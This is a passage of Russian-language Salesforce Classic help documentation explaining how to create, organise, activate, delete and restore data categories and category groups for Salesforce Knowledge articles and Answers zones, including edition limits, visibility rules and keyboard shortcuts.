раскрывающегося меню категорий на вкладках «Управление статьями» и «Статьи»,
а также в общедоступной базе знаний (при ее наличии). Поле «Имя группы» не
отображается на вкладке «Ответы».

4. При необходимости измените значение поля «Уникальное имя группы». Данное
уникальное имя используется для определения группы категорий в SOAP API.

5. При необходимости введите описание группы категорий.

6. Нажмите кнопку «Сохранить». По завершении отправляется электронное
уведомление об успешном сохранении.

Теперь категории могут быть добавлены в группу категорий. При создании группы
категорий система Salesforce автоматически создает категорию верхнего уровня «Все».
Чтобы переименовать категорию, дваждыщелкните значение «Все».

Активация групп категорий
По умолчанию новая группа категорий добавляется как неактивная и отображается
только на страницах административной настройки для категорий данных, ролей, наборов полномочий и профилей.
Чтобынастроитьиерархиюкатегорийиназначитьдоступность, рекомендуемиспользоватьнеактивныегруппыкатегорий.
Группа категорийотображается в Salesforce Knowledgeилисообществеответов толькопосле ее активациипользователем.
Кроме того, вкладка «Ответы» отображает категории только после назначения группы категорий зоне.
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Чтобы активировать группу категорий, наведите указатель мыши на имя нужной группы категорий ищелкните значок

«Активировать группу категорий»  ( ).

СМ. ТАКЖЕ:

Управление категориями данных

Добавление категорий данных в группы категорий

Удаление категорий данных

Управление статьями и переводами

Общие сведения о доступности группы категорий

Управление категориями данных

Добавление категорий данных в группы категорий

Удаление и восстановление групп категорий

Управление статьями и переводами

Общие сведения о доступности группы категорий
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Что такое категории данных?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Категории данных могут использоваться компонентами Salesforce Knowledge (статьи и
переводы), «Ответы» и Chatter Answers, благодаря чему пользователи могут
классифицировать и быстро находить нужные статьи или вопросы. Категории данных
позволяют администраторам контролировать доступ к статьям и вопросам.

Salesforce Knowledgeподдерживаетпятиуровневуюиерархиюкатегорийданныхвкаждой
группе категорий. Статьям базы знаний могут быть назначены разные категории,
благодаря чему пользователи могут быстро находить нужные статьи. Например, чтобы
классифицироватьстатьипорегионампродажибизнес-единицам, создайтедве группы
категорий: «Регионыпродаж» и «Бизнес-единицы». Группакатегорий «Регионыпродаж»
можетсостоятьиз географическойиерархии, в которойкатегория «Всерегионыпродаж»
будет расположена на самом верхнем уровне, категории «Северная Америка», «Европа»
и «Азия» — на втором уровне, и так далее.

Категории данных, назначаемые вопросам в зоне ответов, также позволяют ускорить
поиск нужных вопросов. Каждая зона ответов поддерживает одну группу категорий.
Например, компания-производитель компьютеров может создать группу категорий
«Продукты», котораяможет содержатьчетыреодноуровневыекатегории: «Портативные
компьютеры», «Производительные портативные компьютеры», «Настольные игровые
компьютеры» и «Настольные рабочие компьютеры». Участники зоны могут назначить
каждому вопросу на вкладке «Ответы» одну из четырех категорий, а затем использовать
данные категории для быстрого просмотра ответов.

Преимущества категорий данных

Логическая классификация статей
Администраторы базы знаний могут систематизировать статьи базы знаний в виде
логической иерархии, а также назначать статьям нужные атрибуты.

Удобный доступ к вопросам
Администраторы зоны ответов могут определять категории данных, доступные на
вкладке «Ответы». Участники зоны могут назначать вопросам нужные категории,
которые позволяют упростить процесс поиска вопросов и ответов для остальных
участников.

Контроль за доступностью статей и вопросов
Администраторы базы знаний или сообщества ответов могут контролировать
доступность статей или вопросов путем соотнесения ролей, наборов полномочий
или профилей с категориями групп категорий. Доступ к категоризированной статье или вопросу предоставляется
соответствующим пользователям автоматически.

Фильтрация статей
Агенты службы поддержки могут быстро находить категоризированные статьи путем фильтрации базы знаний
организации. Чтобыгарантироватьотображениевсехсоответствующихстатей, рекомендуемиспользоватьфильтрацию
по категории, которая также охватывает все одноуровневые категории, расположенные в иерархии категорий выше
или ниже данной категории. Например, иерархия категорий для продуктов содержит уровни «Все продукты» >
«Компьютеры» > «Портативныекомпьютеры» > «Игровыепортативныекомпьютеры». Чтобыпомочьклиентувыбрать
оптимальный портативный компьютер, выполните фильтрацию по категории «Портативные компьютеры», в
результате которой отображаются статьи, назначенные категории «Портативные компьютеры», а также статьи,
назначенные категории «Компьютеры», «Все продукты» или «Игровые портативные компьютеры». Кроме того,
фильтрациявозвращаетполезныесвязанныестатьи (например, бесплатнаядоставка всехпродуктовилимодернизация
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игровыхпортативныхкомпьютеров). (Воизбежаниенедопустимыхрезультатов, фильтрациякатегорийневозвращает
нелинейные родственные категории, включая одноуровневые. Таким образом, статьи, назначенные категории
«Настольные компьютеры», которая расположена на одном уровне с категорией «Портативные компьютеры», не
отображаются.)

Навигация по статьям и вопросам
Конечные пользователи могут перемещаться по категориям на вкладках «Статьи» и «Ответы» для поиска сведений,
необходимых для решения проблем.

Управление группами категорий для статей и вопросов
Еслиорганизацияиспользует Salesforce Knowledgeи сообщество ответов, то пользователимогут создавать отдельные
группы категорий или использовать одну группу категорий для вопросов и ответов.

Общие сведения о категориях данных в статьях

Группа категорий — это контейнер для набора категорий. В Salesforce Knowledge группа категорий соответствует имени
раскрывающегося меню категорий. Например, если вы используете страницу «Категории данных» в меню «Настройка»
(введите «Категория данных» вполе «Быстрый поиск», затемвыберите «Настройкакатегорииданных»), чтобысоздать
иактивировать группукатегорийсименем «Продукты», меню «Продукты» отображаетсянавкладке «Управлениестатьями»,
странице редактирования статьи, вкладке «Статьи» во всех каналах, и в общедоступной базе знаний.

На рисунке ниже представлена статья «Сделки по портативным компьютерам», предназначенная для администратора
базы знаний. Используя страницу редактирования статьи, администратор классифицирует статью по категориям
«Портативные компьютеры» (из группы категорий «Продукты») и «США» (из группы категорий «География»).

Статья «Сделки по портативным компьютерам» на вкладке «Управление статьями»

На рисунке ниже представлена статья «Сделки по портативным компьютерам», опубликованная на вкладке «Статьи» для
просмотраагентами. Используяраскрывающиесяменю «Продукты» и «География», агентвыбираеткатегории «Портативные
компьютеры» и «США» для извлечения соответствующей статьи.

Статья «Сделки по портативным компьютерам» на вкладке «Статьи»

Добавление категорий в группу категорий инициирует создание иерархии, содержащей не более пяти уровней и
100 категорий. Каждая категория имеет одну родительскую категорию, а также несколько одноуровневых и дочерних
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категорий. Хорошо организованная иерархия категорий помогает пользователям быстро и легко находить нужные им
статьи.

По умолчанию всем пользователям Salesforce Knowledge доступны все категории; при необходимости доступность
категорий может быть ограничена ролью, набором полномочий или профилем.

Общие сведения о категориях данных в зонах ответов

Зонаответовподдерживаетодну группукатегорий, поэтомукаждомувопросуможетбытьназначенатолькооднакатегория.
Группа категорий позволяет создавать до пяти иерархических уровней категорий, но сообщество ответов поддерживает
только первый уровень категорий. Дочерние категории, расположенные ниже первого уровня, не отображаются в
сообществе, поэтому не могут быть назначены вопросам. Категории группы отображаются на вкладке «Ответы» под
именем зоны.

Отображение категорий на вкладке «Ответы»

По умолчанию всем участникам зоны доступны все категории; при необходимости доступность категорий может быть
изменена.

Советы по внедрению

Ниже перечислены рекомендации по планированию и внедрению категорий данных в организации.

• Пользователь может создать не более трех групп категорий, каждая из которых содержит не более пяти уровней
иерархии. Каждая группа категорий может содержать не более 100 категорий.

• Если требуется использовать категории данных с ответами, то после создания группы категорий необходимо
обязательноназначитьее вменю «Настройка». Дляэтогонужноввести «Назначения категорий данных» вполе «Быстрый
поиск», затем выбрать «Назначения категорий данных» в разделе «Ответы». Сообществу ответов может быть
назначенатолькооднагруппакатегорий. Salesforce Knowledgeподдерживаетиспользованиенесколькихгруппкатегорий.

• Группакатегорийпозволяетсоздаватьдопятииерархическихуровнейкатегорий, носообществоответовподдерживает
только первый уровень категорий. Дочерние категории, расположенные ниже первого уровня, не отображаются в
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сообществе, поэтомунемогутбытьназначенывопросам. Salesforce Knowledgeподдерживаетиспользованиеиерархии
категорий данных.

• Группы категорий доступны пользователям только после активации. Группа категорий может быть активирована
только после определения ее категорий и их параметров доступа, включая доступность.

• Статье может быть назначено не более восьми категорий одной группы.

• Некатегоризированная статья отображается только при выборе значения «Нет фильтра» в раскрывающемся меню
категорий.

• Выборкатегорииприпоиске статейилипереводов автоматическиинициируетдобавлениеродительскойидочерних
категорий, а также любых прародительских категорий вплоть до верхнего уровня. Одноуровневые категории не
добавляются. Например, иерархия категорий содержит уровни «Все продукты», «Коммутаторы», «Оптические сети»
и «Сетевое оборудование». Таким образом, выбор категории «Оптические сети» в раскрывающемся меню категорий
возвращает статьи, назначенные любым четырем категориям. Однако, если категория «Коммутаторы» имеет
одноуровневую категорию «Маршрутизаторы», то выбор категории «Оптические сети» не возвращает статьи,
назначенные категории «Маршрутизаторы». Параметрыдоступности категориймогут ограничить область поиска до
конкретных статей.

• Ниже перечислены действия, выполняемые после выбора параметров доступности категорий.

– Пользователи, которым не назначена доступность, могут просматривать только некатегоризированные статьи и
вопросы, кроме случаев настройки стандартной доступности категорий.

– При использовании ролевой доступности пользователи клиентского и партнерского порталов наследуют
параметры доступности группы категорий, назначенные их менеджерам по умолчанию. Параметры доступности
группы категорий могут быть изменены для каждой роли портала.

– При наличии доступа только к одной категории группы раскрывающееся меню категорий для этой группы не
отображается на вкладке «Статьи».

• Ниже перечислены последствия удаления категории.

– Необратимое удаление категории. Удаленная категория не может быть восстановлена. Удаленная категория не
перемещается в корзину.

– Необратимое удаление дочерних категорий.

– Удаление категории и ее дочерних категорий со вкладок «Ответы», «Управление статьями» и «Статьи» во всех
каналах и общедоступной базе знаний компании.

– Удалениесвязеймежду категориейистатьямииливопросами. Статьиивопросымогутбытьпереназначеныдругой
категории.

– Удаление ее соотнесения с доступностью. Статьи и ответы, связанные с удаленной категорией, становятся
недоступными пользователям.

• Ниже перечислены последствия удаления группы категорий.

– Перемещение группы категорий в раздел «Удаленные группы категорий», являющийся корзиной. Элементы
данного раздела доступны для просмотра, но недоступны для редактирования. Группы категорий хранятся в
корзинев течение 15 дней, поистечениикоторыхсодержимоекорзиныудаляетсябез возможностивосстановления.
В течение этих 15 дней пользователь может восстановить группу категорий или удалить ее безвозвратно.

– Удаление всех категорий из данной группы.

– Удаление всех связей между категориями группы и статьями или вопросами.

– Удаление всех связей между категориями группы и доступностью.

– Удалениераскрывающегосяменюкатегорийсо вкладки «Статьи» во всех каналах, вкладки «Управление статьями»
и общедоступной базы знаний компании.
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• Метки категорий и групп категорий могут быть переведены с помощью средства перевода.

Рекомендации

Ниже перечислены рекомендации по использованию категорий данных.

• Для быстрого управления категориями данных рекомендуем использовать клавиши быстрого доступа.

• Правила доступности группы категорий могут быть заданы после создания или обновления категорий.

• Сохраняйте внесенные изменения как можно чаще. Время сохранения определяется количеством действий,
выполненных до нажатия кнопки «Сохранить».

СМ. ТАКЖЕ:

Управление категориями данных
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Управление категориями данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Администраторымогут создавать категории данных для статей Salesforce Knowledge или
вопросов в зоне, благодаря которым пользователи могут классифицировать и быстро
находить нужные статьи или вопросы. Кроме того, категории данных позволяют
администраторам контролировать доступ к статьям и вопросам. Дополнительную
информацию см. в разделе «Что такое категории данных?» на странице 3060.

Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных», чтобы просмотреть страницу «Категории данных».

• Создайте группукатегорий. Группакатегорий — этоконтейнердлянаборакатегорий.
При использовании Salesforce Knowledge группа категорий отображается как имя
раскрывающегося меню категорий на вкладках «Управление статьями» и «Статьи».
Например, при создании двух групп категорий «География» и «Продукты» вкладки
«Управление статьями» и «Статьи» содержат два меню категорий: «География» и
«Продукты». При использовании зон Chatter Answers раскрывающееся меню групп
категорий отображается на вкладке «Вопрос и ответ», а также на порталах и сайтах
Chatter Answers. Категории, заданные для зоны, могут быть назначены вопросу,
публикуемому в соответствующую зону.

• Добавьте категории в группу категорий. Созданная группа категорий может быть
дополненаиерархиейкатегорий. Данныезначениявыбираютсяпользователямипри
назначении категории статье или вопросу, а также при поиске статей или вопросов.

• Изменитетекущиекатегории. Пользовательможетизменитьимякатегории, обновить
другие атрибуты категории, переместить категорию в другуюобласть иерархии или
изменить порядок отображения категорий.

• Удалите группукатегорий. Группакатегорийможетбыть удаленаиливосстановлена.

• Удалите категорию. Любая категория может быть удалена без возможности
восстановления.

• Переведите категории. Категориимогутбытьпереведенынаподдерживаемыеязыки.

• Чтобыпросмотретьсвойства группыкатегорийиобласть ееиспользования (Salesforce
Knowledge или сообщество ответов), наведите указатель мыши на нужную группу
категорий.

Прим.: ПоумолчаниюпользователиSalesforce Knowledgeиучастникисообщества
ответов получают доступ ко всем статьям и вопросам, связанным с любой
категорией. Чтобыограничитьдоступк статьямивопросам, рекомендуемизменить
параметры доступности для категорий данных.
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Удаление категорий данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Внимание: Удаление категорий может инициировать увеличение времени
обработки, изменение доступности статей и вопросов, изменение категоризации
статей и вопросов, а также другие важные последствия. Прежде чем удалить
категории, просмотрите данный раздел.

Чтобы удалить категорию, выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Выберите имя группы категорий.

3. Выберите имя категории. Чтобы просмотреть все категории в группе категорий,
щелкните «Развернуть все».

4. Нажмите клавишу DELETE или выберите «Удалить категорию» в раскрывающемся
списке «Действия».

5. Нажмите кнопку «ОК» в диалоговом окне подтверждения.

6. Выберите способ повторной классификации статей, связанных с удаленной
категорией или ее потомками.

• Назначьте родительскую категорию удаленной категории.

• Назначьте другую категорию. При необходимости выберите любую другую
категорию в группе категорий.

Прим.: Выбранная категорияможетбыть удалена толькопосле сохранения
внесенных изменений.

• Рекомендуемненазначатьстатьямновуюкатегориюизданнойгруппыкатегорий.

В любом случае статьи наследуют категории из других групп категорий.

7. Нажмите кнопку «Сохранить».

Ниже перечислены последствия удаления категории.

• Необратимоеудалениекатегории. Удаленнаякатегориянеможетбытьвосстановлена.
Удаленная категория не перемещается в корзину.

• Необратимое удаление дочерних категорий.

• Удаление категории и ее дочерних категорий со вкладок «Ответы», «Управление
статьями» и «Статьи» во всех каналах и общедоступной базе знаний компании.

• Удаление связей между категорией и статьями или вопросами. Статьи и вопросы могут быть переназначены другой
категории.

• Удалениееесоотнесениясдоступностью. Статьииответы, связанныесудаленнойкатегорией, становятсянедоступными
пользователям.

Важное замечание: Рекомендуемизменятьиерархиюкатегорийтольковпериодынизкойактивностипользователей.
Процесс сохранения, допускающий выполнение сложных и объемных вычислений, может занять слишком много
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времени. При поиске статей или вопросов, либо при использовании раскрывающихся списков категорий, могут
возникать ошибки.

СМ. ТАКЖЕ:

Что такое категории данных?

Управление категориями данных

Добавление категорий данных в группы категорий

Изменение и размещение категорий данных

Клавиши быстрого доступа для категорий данных

Изменение и размещение категорий данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Внимание: Изменение категорий может инициировать увеличение времени
обработки, изменение доступности статей, изменение категоризации статей и
вопросов, а также другие важные последствия. Прежде чем изменить категории,
просмотрите данный раздел.

Чтобыизменитькатегорииданныхвгруппекатегорий, а такжеихразмещениевиерархии,
выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Выберите имя группы категорий.

3. Чтобы просмотреть всю иерархию категорий, щелкните ссылку «Развернуть все».
Чтобыпросмотреть толькокатегорииверхнего уровня, щелкните ссылку «Свернуть
все».

4. Чтобы изменить имя или уникальное API-имя категории, дваждыщелкните нужную
категорию.

5. Чтобы изменить расположение категории в иерархии, воспользуйтесь функцией
редактирования с помощью перетаскивания. Недопустимое расположение
обозначается красным значком, допустимое — зеленым.

• Чтобыразместитькатегориювкачестведочерней, перетащитенужнуюкатегорию
в верхнюю часть целевой категории. Например, чтобы разместить категорию
«США» под категорией «Северная Америка», перетащите категорию «США» в
верхнюю часть категории «Северная Америка». Перенесенная категория
отображается под другими дочерними категориями данного уровня.

• Чтобы разместить категорию в качестве одноуровневой, перетащите нужную
категориюна границудругойкатегории. Например, чтобыразместить категорию
«США» междукатегориями «Канада» и «Мексика», перетащитекатегорию «США»
на границу между категориями «Канада» и «Мексика».

6. Чтобы изменить порядок отображения дочерних категорий, наведите указатель
мыши на имя нужной категории и выберите пункт «Упорядочить дочерние категории
по алфавиту» в раскрывающемся списке «Действия». Данное действие применяется
только к дочерним категориям первого уровня.
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7. Чтобыотменитьпоследниедействия, нажмитекнопку«Отменить». Чтобыповторитьвыполненныедействия, нажмите
кнопку «Повторить».

8. Нажмите кнопку «Сохранить». Уведомление о завершении процесса сохранения будет отправлено по эл. почте.

Прим.: Сохраняйте внесенные изменения как можно чаще. Время сохранения определяется количеством
действий, выполненных до нажатия кнопки «Сохранить».

Ниже перечислены компоненты, пересчитываемые при сохранении.

• Содержимое раскрывающегося меню категорий.

• Статьи и вопросы, доступные всем пользователям.

• Статьи и вопросы, связанные с категориями.

Важное замечание: Рекомендуемизменятьиерархиюкатегорийтольковпериодынизкойактивностипользователей.
Процесс сохранения, допускающий выполнение сложных и объемных вычислений, может занять слишком много
времени. При поиске статей или вопросов, либо при использовании раскрывающихся списков категорий, могут
возникать ошибки.

Пример. Как изменение иерархии влияет на классификацию статей?

По умолчанию родительская категория, назначенная статье, предоставляет доступ к ее дочерним категориям. Статье не
могут быть одновременно назначены родительская и одна из ее дочерних категорий. Выбор родительской категории на
страницередактированиястатьиинициируетблокировкуеедочернихкатегорий. СистемаSalesforce соблюдаетблокировку
при перемещении категории в новую родительскую категорию. Система препятствует назначению статье дочерней
категории при наличии новой родительской категории.

Например, категория «КПК» перемещается из исходнойродительской категории «Компьютеры» в новуюродительскую
категорию «Бытовая электроника». Такимобразом, классификациистатеймогутизменитьсяилиостатьсябезизменений.

• Статьи, назначенные обеим категориям «Бытовая электроника» и «КПК», сохраняют только категорию «Бытовая
электроника», которая теперь является родительской для категории «КПК».

• Статьи, назначенныетолькокатегории «Бытовая электроника», неменяются. Теперьдоступккатегории «КПК» является
подразумеваемым.

• Статьи, назначенные только категории «КПК», сохраняют категорию «КПК».

СМ. ТАКЖЕ:

Что такое категории данных?

Управление категориями данных

Добавление категорий данных в группы категорий

Удаление категорий данных

Клавиши быстрого доступа для категорий данных
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Клавиши быстрого доступа для категорий данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Нижеперечисленыклавишибыстрого доступа, которыемогут использоваться во время
работы с категориями данных.

Клавиша быстрого
доступа

ДействиеЗадача

ENTERДобавление одноуровневой
категории.

Добавление
категории

ENTER + TABДобавление дочерней категории.

ESCЗакрытие поля «Добавить
категорию».

ENTERСохранение изменений в поле
«Добавить категорию».

ПРОБЕЛОткрытие поля «Редактировать
категорию» для выбранной
категории.

Изменение
категории

ESCЗакрытие поля «Редактировать
категорию».

ENTERСохранение изменений в поле
«Редактировать категорию».

TABПонижение категории на один
уровень (преобразование в
дочернюю категорию).

Повышение или
понижение уровня
категории

SHIFT + TABПовышение категории на один
уровень (преобразование в
одноуровневую категорию).

DELETEУдаление выбранной категории и
дочерних категорий.

Удалениекатегории

СТРЕЛКА «ВВЕРХ»Приближение иерархии категорий.Перемещение по
иерархиикатегорий

СТРЕЛКА «ВНИЗ»Отдаление иерархии категорий.

СТРЕЛКА «ВЛЕВО»Сворачиваниедочернихкатегорийв
родительской категории.

СТРЕЛКА «ВПРАВО»Разворачиваниедочернихкатегорий
в родительской категории.

CTRL + ZОтмена последнего действия.Отмена или повтор
действия

CTRL + YПовтор последнего действия.
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Клавиша быстрого доступаДействиеЗадача

CTRL + SСохранение последних изменений в иерархии
категорий.

Сохранение изменений

СМ. ТАКЖЕ:

Управление категориями данных

Добавление категорий данных в группы категорий

Изменение и размещение категорий данных

Удаление категорий данных

Удаление и восстановление групп категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Внимание: Удаление группы категорий может инициировать удаление всех ее
категорий и связей между категориями и статьями или вопросами. Прежде чем
удалить группы категорий, просмотрите данный раздел.

Чтобы удалить группу категорий, выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Наведите указатель мыши на имя группы категорий.

3.
Щелкните значок «Удалить группу категорий»  ( ).

4. Установите флажок в диалоговом окне подтверждения и нажмите кнопку «ОК».

Последствия удаления групп категорий

Ниже перечислены последствия удаления группы категорий.

• Перемещениегруппыкатегорийвраздел «Удаленныегруппыкатегорий», являющийся
корзиной. Элементы данного раздела доступны для просмотра, но недоступны для
редактирования. Группы категорий хранятся в корзине в течение 15 дней, по
истечениикоторыхсодержимоекорзиныудаляетсябезвозможностивосстановления.
В течение этих 15 дней пользователь может восстановить группу категорий или
удалить ее безвозвратно.

• Удаление всех категорий из данной группы.

• Удаление всех связей между категориями группы и статьями или вопросами.

• Удаление всех связей между категориями группы и доступностью.

• Удаление раскрывающегося меню категорий со вкладки «Статьи» во всех каналах,
вкладки «Управление статьями» и общедоступной базы знаний компании.

Восстановление групп категорий

Чтобывосстановить удаленнуюгруппу категорий, выполните указанныенижедействия.

1. Наведите указатель мыши на имя группы категорий в разделе «Удаленные группы
категорий».
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2. Щелкните значок «Восстановить группу категорий»  ( ).

Группа категорий перемещается в раздел «Группы категорий» как неактивная. Восстановление группы категорий
инициирует восстановление ее связей со статьями, вопросами и доступностью.

СМ. ТАКЖЕ:

Создание и изменение групп категорий

Управление категориями данных

Создание и изменение групп категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Группы категорий могут использоваться в Salesforce Knowledge (статьи) или сообществе
ответов (вопросы). В обоих случаях группы категорий являются контейнерами для
отдельныхкатегорийданных. Например, группакатегорий «Контракты» можетсодержать
категории «Фиксированнаяцена», «Покрытиерасходов» и «Доставкабез установленного
срока». Дополнительнуюинформацию см. в разделе «Что такое категории данных?» на
странице 3060.

Чтобы создать или изменить группу категорий, выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Чтобы создать группу категорий, нажмите кнопку «Создать» в разделе «Группы
категорий». Поумолчаниюпользовательможетсоздатьнеболеепятигруппкатегорий
итрех активных группкатегорий. Чтобысоздать дополнительные группыкатегорий,
обратитесь в компанию Salesforce.

Чтобыизменитьтекущуюгруппукатегорий, наведитеуказательмышинаимянужной

группы категорий ищелкните значок «Редактировать группу категорий» ( ).

3. Заполните поле «Имя группы». Данное имя отображается в качестве заголовка
раскрывающегося меню категорий на вкладках «Управление статьями» и «Статьи»,
а также в общедоступной базе знаний (при ее наличии). Поле «Имя группы» не
отображается на вкладке «Ответы».

4. При необходимости измените значение поля «Уникальное имя группы». Данное
уникальное имя используется для определения группы категорий в SOAP API.

5. При необходимости введите описание группы категорий.

6. Нажмите кнопку «Сохранить». По завершении отправляется электронное
уведомление об успешном сохранении.

Теперь категории могут быть добавлены в группу категорий. При создании группы
категорий система Salesforce автоматически создает категорию верхнего уровня «Все».
Чтобы переименовать категорию, дваждыщелкните значение «Все».

Активация групп категорий

По умолчанию новая группа категорий добавляется как неактивная и отображается
только на страницах административной настройки для категорий данных, ролей, наборов полномочий и профилей.
Чтобынастроитьиерархиюкатегорийиназначитьдоступность, рекомендуемиспользоватьнеактивныегруппыкатегорий.
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Группа категорийотображается в Salesforce Knowledgeилисообществеответов толькопосле ее активациипользователем.
Кроме того, вкладка «Ответы» отображает категории только после назначения группы категорий зоне.

Чтобы активировать группу категорий, наведите указатель мыши на имя нужной группы категорий ищелкните значок

«Активировать группу категорий»  ( ).

СМ. ТАКЖЕ:

Управление категориями данных

Добавление категорий данных в группы категорий

Удаление категорий данных

Управление статьями и переводами

Общие сведения о доступности группы категорий

Управление категориями данных

Добавление категорий данных в группы категорий

Удаление и восстановление групп категорий

Управление статьями и переводами

Общие сведения о доступности группы категорий
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Добавление категорий данных в группы категорий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Категории данных и ответы
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
«Категории данных»:
• «Просмотр категорий

данных»

Для создания,
редактирования или
удаления категорий данных:
• «Управление

категориями данных»

Администраторымогут создавать категории данных для статей Salesforce Knowledge или
вопросов в зоне, благодаря которым пользователи могут классифицировать и быстро
находить нужные статьи или вопросы. Кроме того, категории данных позволяют
администраторам контролировать доступ к статьям и вопросам. Дополнительную
информацию см. в разделе «Что такое категории данных?» на странице 3060.

По умолчанию группа категорий данных может содержать не более 100 категорий, а
иерархия групп категорий данных может включать не более 5 уровней. Чтобы создать
дополнительные категории или уровни иерархии, обратитесь в компанию Salesforce.

Прим.: Вкладка «Ответы» отображает только категории данных первого уровня,
поэтомуприсозданиикатегорийданныхдляпорталаилисообществарекомендуем
убедиться, что нужные категории используют одноуровневую, а не
родительскую/дочернюю взаимосвязь.

Чтобы добавить категории в группу категорий, выполните указанные ниже действия.

1. Введите строку «Категории данных» в поле «Быстрый поиск» и выберите пункт
«Настройка категорий данных».

2. Щелкните имя группы категорий.

3. Выберитекатегорию, расположеннуюнаодинуровеньвыше (родительскаякатегория)
или на том же уровне (одноуровневая категория).

4. Нажмите кнопку «Действия» и выберите нужное действие: «Добавить дочернюю
категорию» или «Добавить одноуровневую категорию».

5. Введите имя категории.

При наличии такой возможности система Salesforce автоматически использует имя,
введенноевсистемноеполе «Уникальное имя категории», являющеесяобязательным
для SOAP API.

6. Нажмите кнопку «Добавить». При необходимости нажмите клавишу Enter.

7. Нажмите кнопку «Сохранить». Сохраняйте внесенные изменения как можно чаще.
Время сохранения определяется количеством действий, выполненных до нажатия
кнопки «Сохранить».

Совет: По умолчанию все пользователи Salesforce Knowledge и участники зоны
могут просматривать все категории, добавленные в активную группу категорий.
Чтобыразрешитьпользователямпросмотртолькоопределенныхстатейивопросов,
рекомендуем ограничить доступность настроенных категорий данных.

СМ. ТАКЖЕ:

Управление категориями данных

Изменение и размещение категорий данных

Удаление категорий данных

Клавиши быстрого доступа для категорий данных
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Предварительная фильтрация статей посредством соотнесения категорий данных (БЕТА)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для соотнесения групп
